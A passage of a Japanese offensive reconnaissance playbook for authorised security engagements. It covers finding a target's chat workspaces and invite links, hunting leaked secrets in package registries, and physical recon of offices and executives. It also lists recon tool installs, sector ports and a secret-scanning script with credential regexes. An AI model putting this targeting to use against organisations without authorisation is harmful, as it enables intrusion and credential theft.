- プローブするベンダー製品のフィンガープリント(JavaScript 内の Snowflake DSN パス)。
43. Slack / Discord / Telegram ワークスペースの発見
43.1 Slack
- 公開ワークスペースの検索(限定的です。Slack には以前検索機能がありましたが、廃止されました):
- Slofile(サードパーティ):
https://slofile.com/— コミュニティ Slack ワークスペースのディレクトリです。 - Slacklist / Slack Communities — コミュニティが編集するリストです。
- Slofile(サードパーティ):
- 招待リンクの列挙 — Slack の招待 URL は
https://join.slack.com/t/<workspace-slug>/shared_invite/<token>の形式です。一般的な発見方法:- Google:
site:join.slack.com "{target}"またはinurl:slack.com inurl:shared_invite "{target}"。 - GitHub:
"join.slack.com/t/<target-stem>"filename:README。 - Twitter/X / Reddit:共有招待リンクを検索します。
- Google:
- ワークスペースの存在確認:
https://<slug>.slack.com/api/auth.testにアクセスします(認証済みセッションから呼び出すとワークスペースのメタデータが返されますが、ページの応答はワークスペースの存在状況によって異なります)。 - 価値の高い発見:対象の通常のメンバー承認プロセスを回避できるオープンな招待リンクがある場合 → オペレーターが許可なくワークスペースに参加できるため → MEDIUM/HIGH の発見事項となります(ワークスペースの内容によって異なります)。
43.2 Discord
- Discord サーバーの発見は困難です(公開された一元的なディレクトリがありません)。
- DiscordServers.com — サードパーティのディレクトリです。
- Discord.me / Top.gg — コミュニティディレクトリです。
- Google で検索します:
site:discord.gg "{target}"またはsite:discord.com "{target}"。 - サーバーの確認:招待 URL
https://discord.gg/<token>は、https://discord.com/api/v9/invites/<token>?with_counts=true経由で JSON に解決されます。サーバー名、ID、メンバー数、チャンネル情報が返されます。 - ボットの列挙:ボットトークン(カタログ §17 の 47 行目)が見つかった場合は、
getMeを使ってボットの ID と参加しているサーバーを確認します(読み取り専用の確認)。
43.3 Telegram
§38 で説明済みです。クイックリファレンス:
- TGStat — チャンネル分析と検索。
- Telemetr — チャンネルの成長状況と重複。
- Combot — グループ分析。
- 公開チャンネルの表示:
https://t.me/s/<channel>。 - 招待リンクの列挙:Google で
site:t.me "{target}"を検索します。
43.4 Microsoft Teams(フェデレーション)
- 関連する手法スキル §11.10 を参照してください。
- Microsoft Graph 経由でフェデレーションの状態を確認します(認証が必要です)。
- オープンフェデレーションのデフォルト設定では、
<email>@<target>で検索すれば、誰でも対象のユーザーとチャットできます。
43.5 Mattermost / Rocket.Chat / セルフホスト環境
https://mattermost.<target>.comまたはchat.<target>のパターンを確認します。- オープン登録の確認:
/signupページを調べます。招待なしでアクセスできる場合は、誰でも参加できます。 - 既知の CVE に該当するか確認するため、バージョン情報の開示状況を調べます(
/api/v4/system/ping)。
44. パッケージレジストリでの情報漏えい調査
公開パッケージレジストリ(npm、PyPI、RubyGems、Docker Hub など)には、公開パッケージに誤って含まれた秘密情報が見つかることがよくあります。
44.1 npm
-
組織またはスコープでパッケージを検索:
npm search "<target-keyword>" npm view @<scope>/<package-name> -
組織のパッケージ一覧:
https://www.npmjs.com/org/<org>またはhttps://registry.npmjs.org/-/org/<org>/package。 -
パッケージごとの過去のバージョン:
https://registry.npmjs.org/<package>— すべてのバージョンを含む JSON です。 -
スキャン用の tarball のダウンロード:
npm pack <package>@<version> tar -xzf package-version.tgz # Run secret catalog (§17) on extracted files -
よくある漏えい: 公開 tarball に含まれた
.envファイル、内部 CI の秘密情報を参照するpackage.jsonのscripts、dist/ビルド内にハードコードされた API キー。
44.2 PyPI
-
パッケージの検索:
https://pypi.org/search/?q=<target>。 -
パッケージごとのメタデータと履歴:
https://pypi.org/pypi/<package>/json。 -
スキャン用の wheel/sdist のダウンロード:
pip download <package>==<version> --no-deps -d /tmp/pkg unzip /tmp/pkg/*.whl -d /tmp/pkg/extracted # Run secret catalog -
よくある漏えい: URL がハードコードされた
setup.py、実際の認証情報を含むテスト用フィクスチャ、誤って含められた.pypircファイル。
44.3 RubyGems
-
検索:
https://rubygems.org/search?query=<target>。 -
gem ごとのメタデータ:
https://rubygems.org/api/v1/gems/<gem-name>.json。 -
ダウンロード:
gem fetch <gem-name> gem unpack <gem-name>-<version>.gem
44.4 Cargo(Rust クレート)
- 検索:
https://crates.io/search?q=<target>。 - クレートごとのメタデータ:
https://crates.io/api/v1/crates/<crate-name>。
44.5 Packagist(PHP/Composer)
- 検索:
https://packagist.org/search/?q=<target>。 - パッケージごとのメタデータ:
https://packagist.org/packages/<vendor>/<package>.json。
44.6 NuGet(.NET)
- 検索:
https://www.nuget.org/packages?q=<target>。
44.7 Maven Central(Java)
- 検索:
https://search.maven.org/?q=<target>。
44.8 Docker Hub/Quay/GHCR/ECR Public
§16.18 で説明済みですが、レジストリ一括調査のワークフローの一環として補足しておきます。
44.9 ワークフロー
各レジストリで、対象が所有する候補パッケージごとに次の手順を実施します。
- 過去のすべてのバージョンを一覧表示します(
<package>@1.0.0は問題がなかった一方で、<package>@0.9.0に漏えいしたキーが含まれていたケースもよくあります)。 - 各バージョンのアーカイブをダウンロードします。
- 展開し、すべてのファイルに対して秘密情報カタログ(§17)を実行します。
- ハードコードされた値がないか、
.env、package.json/setup.py/Cargo.tomlを確認します。 - Docker イメージの場合は、各レイヤーをスキャンします(
diveまたはskopeoとdocker saveを使用してレイヤーを抽出します)。
44.10 タイポスクワッティングの監視
対象が所有する公開済みパッケージごとに、タイポスクワッティング候補(類似した名前、よくある置換)を生成し、攻撃者にすでに取得されていないか確認します(サプライチェーン攻撃の対象領域)。
# Example: target package "acme-utils"
# Candidates: acme-util, acmeutils, acme_utils, acme.utils, ac-me-utils, etc.
for candidate in acme-util acmeutils acme_utils acme.utils ac-me-utils; do
npm view $candidate 2>&1 | head -3
done
候補が対象以外の第三者によって登録されている場合 → MEDIUM の指摘事項(タイポスクワッティング、サプライチェーン攻撃の潜在的なベクトル)。
45. 物理的な偵察に使う衛星画像
物理的な接触を伴う要素(バッジによる入館、テールゲーティング、ごみ箱あさり、現地ネットワーク)が含まれるエンゲージメントでは、公開画像が対象の偵察に役立ちます。
45.1 衛星画像の情報源
| 情報源 | URL | 備考 |
|---|---|---|
| Google Earth Pro | desktop app | 過去の画像を表示できるタイムラインがあります。主要都市では高解像度(1メートル未満)です。 |
| Google Maps | maps.google.com | 最新の画像です。衛星レイヤーを利用できます。建物のロビー内のストリートビューが表示されることもあります。 |
| Bing Maps Bird's Eye | bing.com/maps | 多くの地域で斜め45度の画像を表示します。上空からの画像より建物の正面がよく見えることがあります。 |
| Apple Maps Look Around | (iOS / Mac) | 街路レベルの画像で、主要都市では3D表示にも対応しています。 |
| Yandex Maps Panorama | yandex.com/maps | ロシアと世界各地に対応しています。Googleより高解像度の街路画像が表示されることもあります。 |
| NearMap (有料) | nearmap.com | 商用サービスの中で最も高解像度です。対応地域(主に米国、オーストラリア、ニュージーランド、カナダ)では頻繁に更新されます。 |
| Maxar / Planet Labs (有料) | maxar.com / planet.com | 撮影依頼と最新の画像に対応しています。 |
| Sentinel Hub EO Browser | apps.sentinel-hub.com | 無料のSentinel-2(10m)を利用できます。変化の検出に適しています。 |
| NASA Worldview | worldview.earthdata.nasa.gov | 無料で、複数のセンサーに対応しています。 |
| Wayback ArcGIS | livingatlas.arcgis.com/wayback/ | 過去の衛星画像を確認できます。 |
| OpenStreetMap | openstreetmap.org | 建物の外形を含む、クラウドソーシングによる地図データです。 |
45.2 物理的な偵察で確認する項目
- 建物の入口の数と場所 — 正面入口、従業員用入口、搬入口、非常口。
- 駐車場の出入口 — 警備員がいる単一の入口か、自由に出入りできる駐車場か。
- フェンスの位置とカメラの場所 — 物理的な境界。
- HVAC/ユーティリティへのアクセス — 屋上へのアクセス、サービス用入口。
- 隣接する入居者 — 同じ建物やビジネスパークの近隣テナント。
- 駐車場にある車両の種類 — 役員の出勤状況と従業員数の手掛かり。
- 喫煙エリアの場所 — ソーシャルエンジニアリングの準備場所としてよく使われます。
45.3 衛星画像以外から得られるOSINT由来の物理情報
- LinkedInの従業員写真 — オフィスで撮影されたプロフィール写真に、バッジのテンプレートが写っていることがあります。
- Glassdoorの「オフィスツアー」写真 — 従業員が屋内の写真を投稿しています。
- Indeed/Glassdoorのレビュー — セキュリティ文化(「バッジの確認が緩い」「テールゲーティングがよくある」など)が記載されていることがあります。
- Instagramのジオタグ付き写真 — オフィスの住所で撮影された写真から、屋内の配置、バッジのデザイン、キッチンや共用エリアの場所がわかることがあります。
- 公開プレスリリース — 新しいオフィスの「テープカット」の写真が掲載されていることが多く、配置や役員の顔がわかる場合があります。
- IT/セキュリティ担当者によるカンファレンス講演 — 物理セキュリティの構成について説明されることがあります。
- Meetup/ワークショップのイベント情報 — 対象のオフィスで開催されるイベントには、写真が含まれている場合があります。
45.4 車両/車両群に関する情報
- LinkedIn/Instagramの背景に写るナンバープレート — 特定の役員と結び付く場合があります。
- 衛星画像に写る会社ロゴ入り車両 — 車両群の台数と場所がわかります。
- ヘリポート/役員用駐車場 — 上級幹部の日課を推測する手掛かりになります。
45.5 注意事項
- 画像や写真が公開情報源から得られたものであることを記録します。
- 「確認」のために不法侵入しないでください。OSINT段階の物理的な偵察は、見るだけにします。
- 画像の日付を記録します。建物は変化します。
46. ツールのクイックインストール
よく使われる外部偵察ツールをワンライナーでインストールします。いずれも、go/python/gitがインストール済みのLinux/Macを前提としています。
46.1 サブドメインの列挙
# Subfinder (passive, fast)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
# Amass (thorough, slow)
go install github.com/owasp-amass/amass/v4/...@master
# Assetfinder
go install github.com/tomnomnom/assetfinder@latest
# DNSx (resolution + brute)
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
# Puredns (brute-force with wildcard handling)
go install github.com/d3mondev/puredns/v2@latest
46.2 HTTPプローブと情報の補完
# httpx (tech-detect, status, JARM, favicon)
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
# Gowitness (screenshots)
go install github.com/sensepost/gowitness@latest
# Aquatone (screenshots + clustering)
go install github.com/michenriksen/aquatone@latest
46.3 脆弱性スキャン
# Nuclei (template scanner)
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -ut # update templates
# Naabu (port scan)
go install github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
# Masscan (fast port scan; requires sudo)
git clone https://github.com/robertdavidgraham/masscan && cd masscan && make
46.4 コンテンツの探索
# Ffuf (fuzzer / dirbuster)
go install github.com/ffuf/ffuf/v2@latest
# Gobuster
go install github.com/OJ/gobuster/v3@latest
# Feroxbuster (recursive content disco)
cargo install feroxbuster
46.5 JS/エンドポイントの抽出
# Katana (crawler)
go install github.com/projectdiscovery/katana/cmd/katana@latest
# GoSpider
go install github.com/jaeles-project/gospider@latest
# LinkFinder (JS endpoint regex)
git clone https://github.com/GerbenJavado/LinkFinder && cd LinkFinder && pip install -r requirements.txt
# Subjs (extract JS URLs from HTML)
go install github.com/lc/subjs@latest
46.6 Wayback/アーカイブ
# gau (get all urls from Wayback + others)
go install github.com/lc/gau/v2/cmd/gau@latest
# Waybackurls
go install github.com/tomnomnom/waybackurls@latest
46.7 クラウド/AWS
# AWS CLI
pip install awscli
# or: brew install awscli
# Cloud_enum (S3/Azure/GCP enum)
git clone https://github.com/initstring/cloud_enum && cd cloud_enum && pip install -r requirements.txt
# S3Scanner
pip install s3scanner
# CloudSploit
git clone https://github.com/aquasecurity/cloudsploit && cd cloudsploit && npm install
46.8 ID/SSO
# o365creeper / o365enum
git clone https://github.com/gremwell/o365enum
# CredMaster (per-protocol auth probe)
git clone https://github.com/knavesec/CredMaster
46.9 モバイル
# google-play-scraper (Python)
pip install google-play-scraper
# androguard (APK static analysis — pure Python, no apktool/jadx needed; §21.1)
pip install androguard
# or: brew install androguard
# apkleaks (secret scan in APK)
pip install apkleaks
# apktool (decompile APK to readable resources + manifest; §21.1)
# macOS/Linux:
brew install apktool
# Windows: download apktool.jar + apktool.bat wrapper from
# https://apktool.org/ , or `choco install apktool`
# aapt2 (manifest/badging dump — ships with Android SDK build-tools)
sdkmanager --install "build-tools;34.0.0"
# Windows path: %LOCALAPPDATA%\Android\Sdk\build-tools\<ver>\aapt2.exe
# jadx (Java source recovery from classes.dex)
brew install jadx
# Windows: unzip the jadx release zip, run jadx.bat / jadx-gui.exe
46.10 TLS/証明書
# sslyze
pip install sslyze
# testssl.sh
git clone --depth 1 https://github.com/drwetter/testssl.sh.git
# JARM
pip install pyjarm
# Cert-spotter / certgraph
go install github.com/lanrat/certgraph@latest
46.11 その他のユーティリティ
# Anew (line-dedup that streams)
go install github.com/tomnomnom/anew@latest
# Gf (regex-based grep templates)
go install github.com/tomnomnom/gf@latest
# Hakrawler (web crawler)
go install github.com/hakluke/hakrawler@latest
# Trufflehog (secret scanner)
go install github.com/trufflesecurity/trufflehog@latest
# Gitleaks
go install github.com/zricethezav/gitleaks/v8@latest
# jq (JSON parsing)
sudo apt install jq # or brew install jq
46.12 フレームワーク/オーケストレーション
# ProjectDiscovery's "PDTM" (manages the full PD toolkit)
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest
pdtm -install-all
# reconftw (scripted recon framework)
git clone https://github.com/six2dez/reconftw && cd reconftw && ./install.sh
# Axiom (distributed recon on cloud nodes)
git clone https://github.com/pry0cc/axiom && cd axiom && ./interact/axiom-configure
47. セクター固有の偵察に関する注意事項
偵察手法の大半は汎用的ですが、一部のセクターには特有の攻撃対象領域があり、注意して記録する価値があります。
47.1 医療
- DICOM(医用画像)— ポート 11112、場合によっては 4242(テスト用)。
- HL7 v2(臨床メッセージング)— ポート 2575(TCP、平文の場合が多い)。
- HL7 FHIR(最新の REST API)— 通常は
/fhir/R4/<resource>パスを使用します。OAuth/SMART-on-FHIR の認証状況は大きく異なります。 - PACS/RIS/EHR システム — Epic(
*.epic.comSaaS)、Cerner/Oracle Health、Allscripts/Veradigm、Athenahealth、NextGen、Meditech、eClinicalWorks。各システムには既知の CVE の履歴があります。 - 検索:
site:{domain} ("EHR" OR "PACS" OR "PHI" OR "HIPAA")、intitle:"Epic Systems" "{target}"。 - 重大度の引き上げ: PHI の漏えいはすべて CRITICAL(規制上および評判上の影響があるため)です。HL7/DICOM が認証なしで公開されている場合も CRITICAL です。
47.2 金融
- SWIFT 端末 — 通常は内部専用です。外部に公開されている場合は CRITICAL です。SWIFT Alliance Web Platform を探してください。
- FIX プロトコル(電子取引)— ポート 9876(一般的)、平文。
- Bloomberg 端末 — 通常は VDI です。
bloomberg.com関連の認証対象領域を確認してください。 - 取引プラットフォームベンダー — Fidessa、Charles River、Eze Software、Aladdin(BlackRock)。
- 銀行ミドルウェア — Temenos T24、Finacle(Infosys)、FIS、Jack Henry、Fiserv。各システムには既知の CVE の履歴があります。
- 検索:
site:{domain} ("PCI" OR "SOX" OR "GLBA" OR "MAS")、intitle:"Temenos" "{target}"。 - 重大度の引き上げ: アカウント情報または残高情報の漏えいはすべて CRITICAL です。SWIFT の露出は CRITICAL です。取引実行対象領域の露出も CRITICAL です。
47.3 ICS/SCADA/OT
注意: ICS/SCADA 資産は、パッシブスキャンでさえ障害を引き起こす可能性があるレガシーシステム上で稼働していることがよくあります。OT チームとの調整のうえ、RoE で明示的に許可されていない限り、ICS をアクティブに調査しないでください。
- Modbus — ポート 502(TCP)。
- BACnet — ポート 47808(UDP)。
- Siemens S7 — ポート 102(ISO-TSAP)。
- DNP3 — ポート 20000(TCP)。
- EtherNet/IP — ポート 44818(TCP)。
- Niagara Framework — ポート 1911、4911、5011、502。
- Honeywell EBI/Tridium — 環境によって異なります。
- GE Proficy/iFIX — 環境によって異なります。
- 一般的な発見事項: 認証なしの読み取りアクセス(BACnet のポイント一覧、Modbus レジスターの読み取り)、HMI パネルでのデフォルト認証情報、インターネットに公開されたエンジニアリング用ワークステーション。
- 情報源: Shodan の ICS 固有フィルター(
port:502、tag:ics)、Censys、Onyphe。 - 検知可能性: 中~高。ICS ネットワークはバックグラウンドトラフィックが少なく、厳重に監視されていることがよくあります。
47.4 IoT/コンシューマー/SOHO
- MQTT — ポート 1883(平文)、8883(TLS)。認証なしで読み取り可能なトピックがよくあります。
- CoAP — ポート 5683(UDP)。
- UPnP/SSDP — ポート 1900(UDP)。内部デバイスの構成が漏えいすることがよくあります。
- 一般的なルーター管理画面のパターン:
/cgi-bin/、/setup.cgi、/admin/index.html。デフォルト認証情報が一般的です。 - カメラの DVR/NVR — Hikvision、Dahua、Axis。複数の CVE があります。
- スマートホームハブ — 公開された API から認証トークンが漏えいすることがあります。
47.5 政府
.govおよび.milドメインでは、エンゲージメント範囲の管理に特別な注意が必要です。- FedRAMP/FISMA/DoD CMMC — 防御態勢は一般にベースラインを上回ります。
- OSINT データソース: USAspending.gov、SAM.gov(System for Award Management)、FBO.gov/sam.gov(調達)。
- 一般的な発見事項: 公開契約でベンダー・オブ・レコードが明らかになり、隣接ベンダーへのピボットにつながります。
- 重大度: 商用環境と同等以上であり、技術的な影響に政治的な機微性が加わります。
47.6 海事/航空/自動車
- 海事: AIS(Automatic Identification System)— 船舶の位置情報。ツールは MarineTraffic、VesselFinder です。エンジンテレメトリーが VSAT 経由で公開される場合もあります。
- 航空: ADS-B(§32.3 で説明済み)。運航会社/航空会社固有の OPS データが公開される場合もあります。
- 自動車: OEM のテレマティクスバックエンド(Tesla、GM OnStar など)— 通常は認証が必要ですが、モバイルアプリのリバースエンジニアリングを通じて API が漏えいすることがあります。
47.7 全分野共通の注意点
ほとんどの外部偵察手法は、あらゆる分野に適用できます。 分野固有のプロトコルは攻撃対象領域を広げ、分野固有のコンプライアンス体制は報告要件を追加します。「医療/金融などでは OSINT が異なる」と考えないでください。OSINT は同じで、対象となるサービスが異なるだけです。
48. 実行可能なヘルパー — secret_scan.py
80 パターンのカタログ(§17)を反映した、すぐに使える Python ヘルパーです。標準ライブラリのみを使用し、依存関係はありません。取得したテキストに対して、オペレーターが使用します。
#!/usr/bin/env python3
"""Stdlib-only secret scanner. Mirrors the 80-pattern catalog from
the `offensive-osint` skill (§17).
Usage:
echo "AKIAIOSFODNN7EXAMPLE" | python3 secret_scan.py
python3 secret_scan.py file1.txt file2.js dir/
Output: one JSON object per line:
{pattern, severity, category, match, source, line}
Exit codes:
0 — completed (regardless of whether secrets found)
2 — invalid arguments
"""
import json
import os
import re
import sys
SEV_CRITICAL = "critical"
SEV_HIGH = "high"
SEV_MEDIUM = "medium"
SEV_LOW = "low"
# Order matters: most-specific patterns first so generic catches
# don't pre-empt typed ones.
PATTERNS = [
# AWS
("AWS_ACCESS_KEY", SEV_CRITICAL, "aws", r"\b(AKIA|ASIA)[0-9A-Z]{16}\b"),
("AWS_SECRET_TYPED", SEV_CRITICAL, "aws", r"(?i)aws[_\-]?secret[_\-]?access[_\-]?key['\"\s:=]+([A-Za-z0-9/+=]{40})"),
("AWS_SECRET_LOOSE", SEV_HIGH, "aws", r"(?i)aws(.{0,20})?(secret|sk)[\"'=: ]+([0-9a-z/+=]{40})"),
# Google Cloud Platform
("GCP_SERVICE_ACCOUNT", SEV_CRITICAL, "gcp", r'"type"\s*:\s*"service_account"'),
("GOOGLE_API_KEY", SEV_HIGH, "gcp", r"\bAIza[0-9A-Za-z_\-]{35}\b"),
# GitHub
("GH_PAT_CLASSIC", SEV_CRITICAL, "github", r"\bghp_[A-Za-z0-9]{36}\b"),
("GH_PAT_FINEGRAINED", SEV_CRITICAL, "github", r"\bgithub_pat_[A-Za-z0-9_]{82}\b"),
("GH_OAUTH", SEV_HIGH, "github", r"\bgho_[A-Za-z0-9]{36}\b"),
("GH_S2S", SEV_HIGH, "github", r"\bgh[usr]_[A-Za-z0-9]{36,}\b"),
# Stripe
("STRIPE_LIVE", SEV_CRITICAL, "stripe", r"\bsk_live_[0-9A-Za-z]{24,}\b"),
("STRIPE_TEST", SEV_LOW, "stripe", r"\bsk_test_[0-9A-Za-z]{24,}\b"),
# Slack
("SLACK_TOKEN", SEV_HIGH, "slack", r"\bxox[abpors]-[0-9A-Za-z\-]{10,48}\b"),
("SLACK_WEBHOOK", SEV_MEDIUM, "slack", r"https://hooks\.slack\.com/services/T[A-Z0-9]+/B[A-Z0-9]+/[A-Za-z0-9]+"),
# Email service providers
("SENDGRID", SEV_HIGH, "email_svc", r"\bSG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}\b"),
("MAILGUN_V1", SEV_HIGH, "email_svc", r"\bkey-[0-9a-zA-Z]{32}\b"),
("MAILGUN_LOOSE", SEV_HIGH, "email_svc", r"\bkey-[0-9a-f]{32}\b"),
# Twilio
("TWILIO_API", SEV_HIGH, "twilio", r"\bSK[0-9a-fA-F]{32}\b"),
("TWILIO_SID", SEV_MEDIUM, "twilio", r"\bAC[a-f0-9]{32}\b"),
("TWILIO_AUTH", SEV_HIGH, "twilio", r"(?i)twilio(.{0,20})?(auth|token)[\"'=: ]+([a-f0-9]{32})"),
# PaaS
("HEROKU_API", SEV_MEDIUM, "paas", r"(?i)heroku(.{0,20})?api[\"'=: ]+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"),
# Firebase
("FIREBASE_URL", SEV_LOW, "firebase", r"\bhttps?://[a-z0-9\-]+\.firebaseio\.com\b"),
# Tokens / auth headers
("JWT", SEV_MEDIUM, "jwt", r"\beyJ[A-Za-z0-9_\-]{10,}\.eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}\b"),
("BEARER_AUTH", SEV_MEDIUM, "bearer", r"(?i)authorization[\"'=: ]+bearer\s+[A-Za-z0-9._\-]{20,}"),
("BASIC_AUTH_URL", SEV_MEDIUM, "basic_auth", r"https?://[^/\s:@]+:[^/\s:@]+@[^/\s]+"),
# Private keys
("RSA_PRIVKEY", SEV_CRITICAL, "private_key", r"-----BEGIN RSA PRIVATE KEY-----"),
("EC_PRIVKEY", SEV_CRITICAL, "private_key", r"-----BEGIN EC PRIVATE KEY-----"),
("OPENSSH_PRIVKEY", SEV_CRITICAL, "private_key", r"-----BEGIN OPENSSH PRIVATE KEY-----"),
("GENERIC_PRIVKEY", SEV_CRITICAL, "private_key", r"-----BEGIN (DSA |PGP |)PRIVATE KEY-----"),
# Generic
("GENERIC_API_KEY", SEV_MEDIUM, "generic", r"(?i)(?:api[_\-]?key|apikey|api_secret|access_token|secret[_\-]?token)['\"\s:=]+[\"']([A-Za-z0-9+/=_\-]{24,})[\"']"),
# Modern AI APIs (v2.1)
("ANTHROPIC_API", SEV_CRITICAL, "ai_api", r"\bsk-ant-(?:api03|admin01)-[A-Za-z0-9_\-]{93,}\b"),
("OPENAI_LEGACY", SEV_CRITICAL, "ai_api", r"\bsk-[A-Za-z0-9]{20}T3BlbkFJ[A-Za-z0-9]{20}\b"),
("OPENAI_PROJECT", SEV_CRITICAL, "ai_api", r"\bsk-proj-[A-Za-z0-9_\-]{40,}T3BlbkFJ[A-Za-z0-9_\-]{40,}\b"),
("OPENAI_SESSION", SEV_HIGH, "ai_api", r"\bsess-[A-Za-z0-9]{40}\b"),
("HUGGINGFACE", SEV_HIGH, "ai_api", r"\bhf_[A-Za-z0-9]{30,}\b"),
# Cloud infra
# §17 #35 — Cloudflare API Token: a bare 40-char token is far too generic to match
# standalone (any base64/hex chunk collides), so it is anchored to cloudflare / X-Auth-Key
# context on the same line, exactly as §17 specifies ("when paired with context").
("CLOUDFLARE_API_TOKEN", SEV_HIGH, "infra_api", r"(?i)(?:cloudflare|x-auth-key)['\"\s:=]{1,20}([A-Za-z0-9_\-]{40})\b"),
("CLOUDFLARE_API", SEV_CRITICAL, "infra_api", r"(?i)cf[_\-]?api[_\-]?key['\"\s:=]+([a-f0-9]{37})"),
("DIGITALOCEAN", SEV_HIGH, "infra_api", r"\bdop_v1_[a-f0-9]{64}\b"),
# Package registries
("NPM_TOKEN", SEV_HIGH, "package_registry", r"\bnpm_[A-Za-z0-9]{36}\b"),
("PYPI_TOKEN", SEV_HIGH, "package_registry", r"\bpypi-AgENdGV[A-Za-z0-9_\-]+\b"),
("DOCKER_HUB_PAT", SEV_HIGH, "package_registry", r"\bdckr_pat_[A-Za-z0-9_\-]{27,}\b"),
# SaaS
("ATLASSIAN_TOKEN", SEV_HIGH, "saas_api", r"\bATATT3xFfGF0[A-Za-z0-9_\-]{180,}\b"),
("LINEAR_API", SEV_MEDIUM, "saas_api", r"\blin_api_[A-Za-z0-9]{40}\b"),
# Observability
("NEWRELIC_LICENSE", SEV_MEDIUM, "observability", r"\b(?:NRAA|NRAK|NRBR)-[A-F0-9]{27}\b"),
("DATADOG_API", SEV_HIGH, "observability", r"(?i)dd[_\-]?api[_\-]?key['\"\s:=]+([a-f0-9]{32})"),
("SENTRY_DSN", SEV_LOW, "observability", r"https://[a-f0-9]+@o[0-9]+\.ingest\.sentry\.io/[0-9]+"),
# Tunneling
("NGROK_AUTH", SEV_MEDIUM, "tunneling", r"\b[12][A-Za-z0-9]{26}_[A-Za-z0-9]{32,}\b"),
# Bot tokens
("DISCORD_BOT", SEV_HIGH, "bot_token", r"\b[MN][A-Za-z\d]{23}\.[\w\-]{6}\.[\w\-]{27}\b"),
("TELEGRAM_BOT", SEV_HIGH, "bot_token", r"\b\d{8,10}:[A-Za-z0-9_\-]{35}\b"),
# Provider expansion (v2.2) — §17 #49-80. A real-world Postman PMAK detector
# plus well-known, distinctive-prefix provider token formats not covered
# above. Every entry here is either a standalone distinctive-prefix regex or
# context-anchored exactly like CLOUDFLARE_API_TOKEN above, so a bare generic
# token can't FP-flood.
# Postman (real-world PMAK detection regex)
("POSTMAN_PMAK", SEV_CRITICAL, "postman", r"\bPMAK-[A-Za-z0-9]{24,64}\b"),
# GitLab
("GITLAB_PAT", SEV_HIGH, "gitlab", r"\bglpat-[A-Za-z0-9_\-]{20}\b"),
# Square
("SQUARE_ACCESS_TOKEN", SEV_CRITICAL, "square", r"\bsq0atp-[0-9A-Za-z\-_]{22}\b"),
("SQUARE_OAUTH_SECRET", SEV_HIGH, "square", r"\bsq0csp-[0-9A-Za-z\-_]{43}\b"),
# Shopify
("SHOPIFY_ACCESS_TOKEN", SEV_HIGH, "shopify", r"\bshpat_[a-fA-F0-9]{32}\b"),
("SHOPIFY_SHARED_SECRET",SEV_HIGH, "shopify", r"\bshpss_[a-fA-F0-9]{32}\b"),
# Mailchimp
("MAILCHIMP_API_KEY", SEV_HIGH, "email_svc", r"\b[0-9a-f]{32}-us[0-9]{1,2}\b"),
# PagerDuty / Asana / Databricks (§17 #56-58)
("PAGERDUTY_API_KEY", SEV_MEDIUM, "saas_api", r"(?i)pagerduty(.{0,20})?(api|token|key)['\"\s:=]+([A-Za-z0-9+_\-]{20,32})"),
("ASANA_PAT", SEV_MEDIUM, "saas_api", r"(?i)asana(.{0,20})?(token|pat)['\"\s:=]+([0-9]{1,10}/[0-9]{10,20}:[a-f0-9]{32})"),
("DATABRICKS_PAT", SEV_HIGH, "saas_api", r"\bdapi[0-9a-f]{32}(?:-\d)?\b"),
# Grafana
("GRAFANA_API_KEY", SEV_MEDIUM, "observability", r"\beyJrIjoi[A-Za-z0-9+/=]{40,}\b"),
("GRAFANA_CLOUD_TOKEN", SEV_MEDIUM, "observability", r"\bglc_[A-Za-z0-9+/]{32,}={0,2}\b"),
# Terraform Cloud / Enterprise
("TERRAFORM_CLOUD_TOKEN",SEV_CRITICAL, "infra_api", r"\b[A-Za-z0-9]{14}\.atlasv1\.[A-Za-z0-9_\-=]{60,70}\b"),
# Fastly
("FASTLY_API_TOKEN", SEV_HIGH, "infra_api", r"(?i)fastly(.{0,20})?(api|token)['\"\s:=]+([A-Za-z0-9_\-]{32})"),
# Algolia / Segment
("ALGOLIA_ADMIN_KEY", SEV_HIGH, "saas_api", r"(?i)algolia(.{0,20})?(admin|api)[_\-]?key['\"\s:=]+([A-Za-z0-9]{32})"),
("SEGMENT_WRITE_KEY", SEV_LOW, "saas_api", r"(?i)segment(.{0,20})?(write)?[_\-]?key['\"\s:=]+([A-Za-z0-9]{20,32})"),
# Airtable
("AIRTABLE_KEY_LEGACY", SEV_MEDIUM, "saas_api", r"(?i)airtable(.{0,20})?(api)?[_\-]?key['\"\s:=]+(key[A-Za-z0-9]{14})"),
("AIRTABLE_PAT", SEV_HIGH, "saas_api", r"\bpat[A-Za-z0-9]{14}\.[a-f0-9]{64}\b"),
# GCP / Google OAuth
("GCP_OAUTH_CLIENT_SECRET", SEV_HIGH, "gcp", r"\bGOCSPX-[A-Za-z0-9_\-]{28}\b"),
("GOOGLE_OAUTH_ACCESS_TOKEN", SEV_HIGH,"gcp", r"\bya29\.[0-9A-Za-z_\-]{20,}\b"),
("GOOGLE_OAUTH_CLIENT_ID",SEV_LOW, "gcp", r"\b[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com\b"),
# Azure AD / Entra
("AZURE_AD_CLIENT_SECRET",SEV_HIGH, "azure", r"(?i)(?:azure|entra)[_\-]?(?:client|app)[_\-]?secret['\"\s:=]+([A-Za-z0-9_~.\-]{34,40})"),
# Facebook OAuth
("FACEBOOK_ACCESS_TOKEN",SEV_HIGH, "oauth", r"\bEAA[A-Za-z0-9]{90,}\b"),
# Package registries (v2.2)
("RUBYGEMS_API_KEY", SEV_HIGH, "package_registry", r"\brubygems_[a-f0-9]{48}\b"),
# JFrog / Artifactory
("JFROG_API_KEY", SEV_HIGH, "infra_api", r"\bAKCp[A-Za-z0-9]{50,70}\b"),
# Okta
("OKTA_SSWS_TOKEN", SEV_CRITICAL, "identity", r"\bSSWS\s+[0-9a-zA-Z_\-]{40}\b"),
("OKTA_API_TOKEN", SEV_HIGH, "identity", r"(?i)okta(.{0,20})?(api)?[_\-]?token['\"\s:=]+([0-9a-zA-Z_\-]{40})"),
# Slack app-level (Socket Mode)
